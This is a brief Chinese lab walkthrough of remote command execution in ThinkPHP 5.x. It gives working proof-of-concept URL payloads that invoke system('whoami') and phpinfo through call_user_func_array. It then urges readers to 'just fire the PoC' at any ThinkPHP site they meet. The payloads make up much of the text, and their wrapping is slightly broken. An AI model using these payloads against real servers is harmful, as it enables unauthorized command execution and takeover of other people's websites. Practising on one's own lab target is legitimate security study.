Thinkphp5x远程命令执行及getshell
开启环境，访问靶场
可以用工具进行检测是否存在漏洞
存在漏洞可以直接用工具get shell
也可以手工操作
远程代码执行whoami
POC：
? s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1
\[\]=whoami
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars
1\[\]=-1
Thinkphp被曝很多漏洞，截至目前位置3x -- 6x的各个版本都被爆有大量漏洞，遇到TP的
站，直接打poc就可以了